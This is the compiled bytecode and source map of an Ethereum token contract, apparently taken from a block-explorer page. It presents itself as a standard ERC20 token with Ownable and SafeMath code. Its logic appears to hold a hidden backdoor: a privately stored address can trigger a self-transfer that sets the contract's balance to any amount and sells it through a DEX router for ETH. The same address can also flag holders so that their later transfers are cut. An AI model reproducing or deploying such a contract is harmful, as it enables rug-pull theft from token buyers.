0736565b005b6102c7610869565b6040516102d4919061185a565b60405180910390f35b6102e5610892565b6040516102f291906116a2565b60405180910390f35b61031560048036038101906103109190611758565b610961565b60405161032291906117b3565b60405180910390f35b61034560048036038101906103409190611758565b610a88565b60405161035291906117b3565b60405180910390f35b610375600480360381019061037091906118a2565b610a9f565b60405161038291906117dd565b60405180910390f35b60005b82829050811015610431576103a1610b26565b1561041e576001436103b39190611911565b600960008585858181106103ca576103c9611945565b5b90506020020160208101906103df9190611875565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061042990611974565b91505061038e565b505050565b606060078054610445906119eb565b80601f0160208091040260200160405190810160405280929190818152602001828054610471906119eb565b80156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b5050505050905090565b60006104d5338484610b7e565b6001905092915050565b6000600254905090565b60006104f6848484610d47565b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561057f57600080fd5b600190509392505050565b6000600154905090565b60015481565b600061062e338484600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106299190611911565b610b7e565b6001905092915050565b60025481565b3373ffffffffffffffffffffffffffffffffffffffff1661065d610869565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa90611a68565b60405180910390fd5b600254600681905550600254600a81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610755610869565b73ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290611a68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060006108b86018610e10426108a99190611ab7565b6108b39190611ae8565b611084565b905060006108de603c610e10426108cf9190611ae8565b6108d99190611ab7565b611084565b9050600182510361090c57816040516020016108fa9190611b7b565b60405160208183030381529060405291505b600181510361093857806040516020016109269190611b7b565b60405160208183030381529060405290505b818160405160200161094b929190611bed565b6040516020818303038152906040529250505090565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109ec57600080fd5b610a7e338484600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a799190611c2f565b610b7e565b6001905092915050565b6000610a95338484610d47565b6001905092915050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490611cd5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390611d67565b60405180910390fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d3a91906117dd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8057600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e0857508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610e1c57610e1781836111ea565b61107f565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610e6857600080fd5b600080600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610ef8575043600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b15610f2957610f266103e8610f186103e68561147e90919063ffffffff16565b6114f890919063ffffffff16565b90505b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f749190611c2f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082610fc39190611c2f565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110119190611911565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161107591906117dd565b60405180910390a3505b505050565b6060600082036110cb576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506111e5565b600082905060005b600082146110fd5780806110e690611974565b915050600a826110f69190611ab7565b91506110d3565b60008167ffffffffffffffff81111561111957611118611d87565b5b6040519080825280601f01601f19166020018201604052801561114b5781602001600182028036833780820191505090505b50905060008290508593505b600084146111dd57600a8461116c9190611ae8565b60306111789190611911565b60f81b828261118690611db6565b9250828151811061119a57611199611945565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a846111d69190611ab7565b9350611157565b819450505050505b919050565b61121730600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b7e565b81600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561127857611277611d87565b5b6040519080825280602002602001820160405280156112a65781602001602082028036833780820191505090505b50905030816000815181106112be576112bd611945565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113899190611df4565b8160018151811061139d5761139c611945565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426114279190611911565b6040518663ffffffff1660e01b8152600401611447959493929190611f24565b600060405180830381600087803b15801561146157600080fd5b505af1158015611475573d6000803e3d6000fd5b50505050505050565b600080830361149057600090506114f2565b6000828461149e9190611f7e565b90508284826114ad9190611ab7565b146114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490612032565b60405180910390fd5b809150505b92915050565b600080821161153c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115339061209e565b60405180910390fd5b6000828461154a9190611ab7565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f84011261158557611584611560565b5b8235905067ffffffffffffffff8111156115a2576115a1611565565b5b6020830191508360208202830111156115be576115bd61156a565b5b9250929050565b600080602083850312156115dc576115db611556565b5b600083013567ffffffffffffffff8111156115fa576115f961155b565b5b6116068582860161156f565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561164c578082015181840152602081019050611631565b60008484015250505050565b6000601f19601f8301169050919050565b600061167482611612565b61167e818561161d565b935061168e81856020860161162e565b61169781611658565b840191505092915050565b600060208201905081810360008301526116bc8184611669565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ef826116c4565b9050919050565b6116ff816116e4565b811461170a57600080fd5b50565b60008135905061171c816116f6565b92915050565b6000819050919050565b61173581611722565b811461174057600080fd5b50565b6000813590506117528161172c565b92915050565b6000806040838503121561176f5761176e611556565b5b600061177d8582860161170d565b925050602061178e85828601611743565b9150509250929050565b60008115159050919050565b6117ad81611798565b82525050565b60006020820190506117c860008301846117a4565b92915050565b6117d781611722565b82525050565b60006020820190506117f260008301846117ce565b92915050565b60008060006060848603121561181157611810611556565b5b600061181f8682870161170d565b93505060206118308682870161170d565b925050604061184186828701611743565b9150509250925092565b611854816116e4565b82525050565b600060208201905061186f600083018461184b565b92915050565b60006020828403121561188b5761188a611556565b5b60006118998482850161170d565b91505092915050565b600080604083850312156118b9576118b8611556565b5b60006118c78582860161170d565b92505060206118d88582860161170d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061191c82611722565b915061192783611722565b925082820190508082111561193f5761193e6118e2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061197f82611722565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119b1576119b06118e2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a0357607f821691505b602082108103611a1657611a156119bc565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a5260208361161d565b9150611a5d82611a1c565b602082019050919050565b60006020820190508181036000830152611a8181611a45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611ac282611722565b9150611acd83611722565b925082611add57611adc611a88565b5b828204905092915050565b6000611af382611722565b9150611afe83611722565b925082611b0e57611b0d611a88565b5b828206905092915050565b7f3000000000000000000000000000000000000000000000000000000000000000815250565b600081905092915050565b6000611b5582611612565b611b5f8185611b3f565b9350611b6f81856020860161162e565b80840191505092915050565b6000611b8682611b19565b600182019150611b968284611b4a565b915081905092915050565b7f3a00000000000000000000000000000000000000000000000000000000000000815250565b7f20474d5400000000000000000000000000000000000000000000000000000000815250565b6000611bf98285611b4a565b9150611c0482611ba1565b600182019150611c148284611b4a565b9150611c1f82611bc7565b6004820191508190509392505050565b6000611c3a82611722565b9150611c4583611722565b9250828203905081811115611c5d57611c5c6118e2565b5b92915050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611cbf60238361161d565b9150611cca82611c63565b604082019050919050565b60006020820190508181036000830152611cee81611cb2565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d5160258361161d565b9150611d5c82611cf5565b604082019050919050565b60006020820190508181036000830152611d8081611d44565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000611dc182611722565b915060008203611dd457611dd36118e2565b5b600182039050919050565b600081519050611dee816116f6565b92915050565b600060208284031215611e0a57611e09611556565b5b6000611e1884828501611ddf565b91505092915050565b6000819050919050565b6000819050919050565b6000611e50611e4b611e4684611e21565b611e2b565b611722565b9050919050565b611e6081611e35565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611e9b816116e4565b82525050565b6000611ead8383611e92565b60208301905092915050565b6000602082019050919050565b6000611ed182611e66565b611edb8185611e71565b9350611ee683611e82565b8060005b83811015611f17578151611efe8882611ea1565b9750611f0983611eb9565b925050600181019050611eea565b5085935050505092915050565b600060a082019050611f3960008301886117ce565b611f466020830187611e57565b8181036040830152611f588186611ec6565b9050611f67606083018561184b565b611f7460808301846117ce565b9695505050505050565b6000611f8982611722565b9150611f9483611722565b9250828202611fa281611722565b91508282048414831517611fb957611fb86118e2565b5b5092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b600061201c60228361161d565b915061202782611fc0565b604082019050919050565b6000602082019050818103600083015261204b8161200f565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000612088601b8361161d565b915061209382612052565b602082019050919050565b600060208201905081810360008301526120b78161207b565b905091905056fea26469706673582212208d8cbde07ea26a35181f31d947f77d5727ce13bf673f2787086ce6460e90b79964736f6c63430008130033

Deployed Bytecode Sourcemap

1922:5329:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6851:221;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3121:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2127:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2729:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5282:227;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6549:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1985:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6308:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2020:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7152:96;;;:::i;:::-;;6517:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2291:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1121:132;;;:::i;:::-;;1042:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4374:487;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3196:245;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3536:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2409:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6851:221;6922:6;6917:148;6938:4;;:11;;6934:1;:15;6917:148;;;6976:11;:9;:11::i;:::-;6971:93;;;7047:1;7032:12;:16;;;;:::i;:::-;6997:9;:18;7007:4;;7012:1;7007:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6997:18;;;;;;;;;;;;;;;:51;;;;6971:93;6951:3;;;;;:::i;:::-;;;;6917:148;;;;6851:221;;:::o;3121:69::-;3160:13;3183:5;3176:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3121:69;:::o;2127:158::-;2201:4;2218:37;2227:10;2239:7;2248:6;2218:8;:37::i;:::-;2273:4;2266:11;;2127:158;;;;:::o;2729:77::-;2775:7;2792:12;;2785:19;;2729:77;:::o;5282:227::-;5369:4;5386:34;5396:4;5402:9;5413:6;5386:9;:34::i;:::-;5472:6;5439:11;:17;5451:4;5439:17;;;;;;;;;;;;;;;:29;5457:10;5439:29;;;;;;;;;;;;;;;;:39;;5431:48;;;;;;5497:4;5490:11;;5282:227;;;;;:::o;6549:71::-;6592:7;6609:9;;6602:16;;6549:71;:::o;1985:28::-;;;;:::o;6308:203::-;6388:4;6405:76;6414:10;6426:7;6470:10;6435:11;:23;6447:10;6435:23;;;;;;;;;;;;;;;:32;6459:7;6435:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;6405:8;:76::i;:::-;6499:4;6492:11;;6308:203;;;;:::o;2020:61::-;;;;:::o;7152:96::-;1401:10;1390:21;;:7;:5;:7::i;:::-;:21;;;1382:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7210:12:::1;;7197:10;:25;;;;7233:12;;7224:6;:21;;;;7152:96::o:0;6517:25::-;;;;;;;;;;;;;:::o;2291:110::-;2348:7;2375:9;:18;2385:7;2375:18;;;;;;;;;;;;;;;;2368:25;;2291:110;;;:::o;1121:132::-;1401:10;1390:21;;:7;:5;:7::i;:::-;:21;;;1382:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1218:1:::1;1181:40;;1202:6;::::0;::::1;;;;;;;;1181:40;;;;;;;;;;;;1249:1;1232:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1121:132::o:0;1042:71::-;1088:7;1105:6;;;;;;;;;;;1098:13;;1042:71;:::o;4374:487::-;4415:13;4441:20;4464:39;4500:2;4492:4;4474:15;:22;;;;:::i;:::-;4473:29;;;;:::i;:::-;4464:8;:39::i;:::-;4441:62;;4514:23;4540:37;4574:2;4567:4;4549:15;:22;;;;:::i;:::-;:27;;;;:::i;:::-;4540:8;:37::i;:::-;4514:63;;4616:1;4598:6;4592:20;:25;4588:93;;4662:6;4643:26;;;;;;;;:::i;:::-;;;;;;;;;;;;;4634:35;;4588:93;4721:1;4701:8;4695:22;:27;4691:99;;4769:8;4750:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;4739:39;;4691:99;4823:6;4836:8;4809:44;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4802:51;;;;4374:487;:::o;3196:245::-;3269:4;3327:6;3294:11;:23;3306:10;3294:23;;;;;;;;;;;;;;;:29;3318:4;3294:29;;;;;;;;;;;;;;;;:39;;3286:48;;;;;;3345:66;3354:10;3366:4;3404:6;3372:11;:23;3384:10;3372:23;;;;;;;;;;;;;;;:29;3396:4;3372:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;3345:8;:66::i;:::-;3429:4;3422:11;;3196:245;;;;:::o;3536:156::-;3605:4;3622:40;3632:10;3644:9;3655:6;3622:9;:40::i;:::-;3680:4;3673:11;;3536:156;;;;:::o;2409:134::-;2481:7;2508:11;:18;2520:5;2508:18;;;;;;;;;;;;;;;:27;2527:7;2508:27;;;;;;;;;;;;;;;;2501:34;;2409:134;;;;:::o;2890:100::-;2934:4;2972:10;;;;;;;;;;;2958:24;;:10;:24;;;2951:31;;2890:100;:::o;5560:329::-;5673:1;5654:21;;:7;:21;;;5646:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5742:1;5725:19;;:5;:19;;;5717:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5827:6;5797:11;:18;5809:5;5797:18;;;;;;;;;;;;;;;:27;5816:7;5797:27;;;;;;;;;;;;;;;:36;;;;5865:7;5849:32;;5858:5;5849:32;;;5874:6;5849:32;;;;;;:::i;:::-;;;;;;;;5560:329;;;:::o;3698:563::-;3803:1;3787:18;;:4;:18;;;3779:27;;;;;;3835:10;;;;;;;;;;;3821:24;;:10;:24;;;:38;;;;;3855:4;3849:10;;:2;:10;;;3821:38;3817:437;;;3862:19;3870:6;3878:2;3862:7;:19::i;:::-;3817:437;;;3922:9;:15;3932:4;3922:15;;;;;;;;;;;;;;;;3912:6;:25;;3904:34;;;;;;3953:17;4012:1;3993:9;:15;4003:4;3993:15;;;;;;;;;;;;;;;;:20;;:55;;;;;4036:12;4017:9;:15;4027:4;4017:15;;;;;;;;;;;;;;;;:31;;3993:55;3989:101;;;4063:25;4083:4;4063:15;4074:3;4063:6;:10;;:15;;;;:::i;:::-;:19;;:25;;;;:::i;:::-;4051:37;;3989:101;4140:6;4122:9;:15;4132:4;4122:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4104:9;:15;4114:4;4104:15;;;;;;;;;;;;;;;:42;;;;4187:9;4178:6;:18;;;;:::i;:::-;4161:9;:13;4171:2;4161:13;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4231:2;4216:26;;4225:4;4216:26;;;4235:6;4216:26;;;;;;:::i;:::-;;;;;;;;3889:365;3817:437;3698:563;;;:::o;4867:409::-;4920:17;4965:1;4959:2;:7;4955:25;;4968:10;;;;;;;;;;;;;;;;;;;;;4955:25;4990:9;5002:2;4990:14;;5015;5040:33;5052:1;5047;:6;5040:33;;5055:8;;;;;:::i;:::-;;;;5069:2;5064:7;;;;;:::i;:::-;;;5040:33;;;5083:17;5113:6;5103:17;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5083:37;;5131:9;5143:6;5131:18;;5164:2;5160:6;;5177:63;5189:1;5184;:6;5177:63;;5226:2;5222:1;:6;;;;:::i;:::-;5217:2;:11;;;;:::i;:::-;5204:26;;5192:4;5197:3;;;;:::i;:::-;;;;5192:9;;;;;;;;:::i;:::-;;;;;:38;;;;;;;;;;;5236:2;5231:7;;;;;:::i;:::-;;;5177:63;;;5263:4;5250:18;;4944:332;;;;4867:409;;;;:::o;5895:386::-;5959:47;5976:4;5991:7;;;;;;;;;;;6001:4;5959:8;:47::i;:::-;6044:4;6017:9;:24;6035:4;6017:24;;;;;;;;;;;;;;;:31;;;;6059:21;6097:1;6083:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6059:40;;6128:4;6110;6115:1;6110:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6145:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6135:4;6140:1;6135:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;6172:7;;;;;;;;;;;:58;;;6231:4;6237:1;6240:4;6246;6270:2;6252:15;:20;;;;:::i;:::-;6172:101;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5948:333;5895:386;;:::o;591:223::-;649:7;678:1;673;:6;669:23;;689:1;682:8;;;;669:23;702:9;718:1;714;:5;;;;:::i;:::-;702:17;;747:1;742;738;:5;;;;:::i;:::-;:10;730:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;805:1;798:8;;;591:223;;;;;:::o;405:178::-;463:7;495:1;491;:5;483:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;539:9;555:1;551;:5;;;;:::i;:::-;539:17;;574:1;567:8;;;405:178;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:99::-;1911:6;1945:5;1939:12;1929:22;;1859:99;;;:::o;1964:169::-;2048:11;2082:6;2077:3;2070:19;2122:4;2117:3;2113:14;2098:29;;1964:169;;;;:::o;2139:246::-;2220:1;2230:113;2244:6;2241:1;2238:13;2230:113;;;2329:1;2324:3;2320:11;2314:18;2310:1;2305:3;2301:11;2294:39;2266:2;2263:1;2259:10;2254:15;;2230:113;;;2377:1;2368:6;2363:3;2359:16;2352:27;2201:184;2139:246;;;:::o;2391:102::-;2432:6;2483:2;2479:7;2474:2;2467:5;2463:14;2459:28;2449:38;;2391:102;;;:::o;2499:377::-;2587:3;2615:39;2648:5;2615:39;:::i;:::-;2670:71;2734:6;2729:3;2670:71;:::i;:::-;2663:78;;2750:65;2808:6;2803:3;2796:4;2789:5;2785:16;2750:65;:::i;:::-;2840:29;2862:6;2840:29;:::i;:::-;2835:3;2831:39;2824:46;;2591:285;2499:377;;;;:::o;2882:313::-;2995:4;3033:2;3022:9;3018:18;3010:26;;3082:9;3076:4;3072:20;3068:1;3057:9;3053:17;3046:47;3110:78;3183:4;3174:6;3110:78;:::i;:::-;3102:86;;2882:313;;;;:::o;3201:126::-;3238:7;3278:42;3271:5;3267:54;3256:65;;3201:126;;;:::o;3333:96::-;3370:7;3399:24;3417:5;3399:24;:::i;:::-;3388:35;;3333:96;;;:::o;3435:122::-;3508:24;3526:5;3508:24;:::i;:::-;3501:5;3498:35;3488:63;;3547:1;3544;3537:12;3488:63;3435:122;:::o;3563:139::-;3609:5;3647:6;3634:20;3625:29;;3663:33;3690:5;3663:33;:::i;:::-;3563:139;;;;:::o;3708:77::-;3745:7;3774:5;3763:16;;3708:77;;;:::o;3791:122::-;3864:24;3882:5;3864:24;:::i;:::-;3857:5;3854:35;3844:63;;3903:1;3900;3893:12;3844:63;3791:122;:::o;3919:139::-;3965:5;4003:6;3990:20;3981:29;;4019:33;4046:5;4019:33;:::i;:::-;3919:139;;;;:::o;4064:474::-;4132:6;4140;4189:2;4177:9;4168:7;4164:23;4160:32;4157:119;;;4195:79;;:::i;:::-;4157:119;4315:1;4340:53;4385:7;4376:6;4365:9;4361:22;4340:53;:::i;:::-;4330:63;;4286:117;4442:2;4468:53;4513:7;4504:6;4493:9;4489:22;4468:53;:::i;:::-;4458:63;;4413:118;4064:474;;;;;:::o;4544:90::-;4578:7;4621:5;4614:13;4607:21;4596:32;;4544:90;;;:::o;4640:109::-;4721:21;4736:5;4721:21;:::i;:::-;4716:3;4709:34;4640:109;;:::o;4755:210::-;4842:4;4880:2;4869:9;4865:18;4857:26;;4893:65;4955:1;4944:9;4940:17;4931:6;4893:65;:::i;:::-;4755:210;;;;:::o;4971:118::-;5058:24;5076:5;5058:24;:::i;:::-;5053:3;5046:37;4971:118;;:::o;5095:222::-;5188:4;5226:2;5215:9;5211:18;5203:26;;5239:71;5307:1;5296:9;5292:17;5283:6;5239:71;:::i;:::-;5095:222;;;;:::o;5323:619::-;5400:6;5408;5416;5465:2;5453:9;5444:7;5440:23;5436:32;5433:119;;;5471:79;;:::i;:::-;5433:119;5591:1;5616:53;5661:7;5652:6;5641:9;5637:22;5616:53;:::i;:::-;5606:63;;5562:117;5718:2;5744:53;5789:7;5780:6;5769:9;5765:22;5744:53;:::i;:::-;5734:63;;5689:118;5846:2;5872:53;5917:7;5908:6;5897:9;5893:22;5872:53;:::i;:::-;5862:63;;5817:118;5323:619;;;;;:::o;5948:118::-;6035:24;6053:5;6035:24;:::i;:::-;6030:3;6023:37;5948:118;;:::o;6072:222::-;6165:4;6203:2;6192:9;6188:18;6180:26;;6216:71;6284:1;6273:9;6269:17;6260:6;6216:71;:::i;:::-;6072:222;;;;:::o;6300:329::-;6359:6;6408:2;6396:9;6387:7;6383:23;6379:32;6376:119;;;6414:79;;:::i;:::-;6376:119;6534:1;6559:53;6604:7;6595:6;6584:9;6580:22;6559:53;:::i;:::-;6549:63;;6505:117;6300:329;;;;:::o;6635:474::-;6703:6;6711;6760:2;6748:9;6739:7;6735:23;6731:32;6728:119;;;6766:79;;:::i;:::-;6728:119;6886:1;6911:53;6956:7;6947:6;6936:9;6932:22;6911:53;:::i;:::-;6901:63;;6857:117;7013:2;7039:53;7084:7;7075:6;7064:9;7060:22;7039:53;:::i;:::-;7029:63;;6984:118;6635:474;;;;;:::o;7115:180::-;7163:77;7160:1;7153:88;7260:4;7257:1;7250:15;7284:4;7281:1;7274:15;7301:191;7341:3;7360:20;7378:1;7360:20;:::i;:::-;7355:25;;7394:20;7412:1;7394:20;:::i;:::-;7389:25;;7437:1;7434;7430:9;7423:16;;7458:3;7455:1;7452:10;7449:36;;;7465:18;;:::i;:::-;7449:36;7301:191;;;;:::o;7498:180::-;7546:77;7543:1;7536:88;7643:4;7640:1;7633:15;7667:4;7664:1;7657:15;7684:233;7723:3;7746:24;7764:5;7746:24;:::i;:::-;7737:33;;7792:66;7785:5;7782:77;7779:103;;7862:18;;:::i;:::-;7779:103;7909:1;7902:5;7898:13;7891:20;;7684:233;;;:::o;7923:180::-;7971:77;7968:1;7961:88;8068:4;8065:1;8058:15;8092:4;8089:1;8082:15;8109:320;8153:6;8190:1;8184:4;8180:12;8170:22;;8237:1;8231:4;8227:12;8258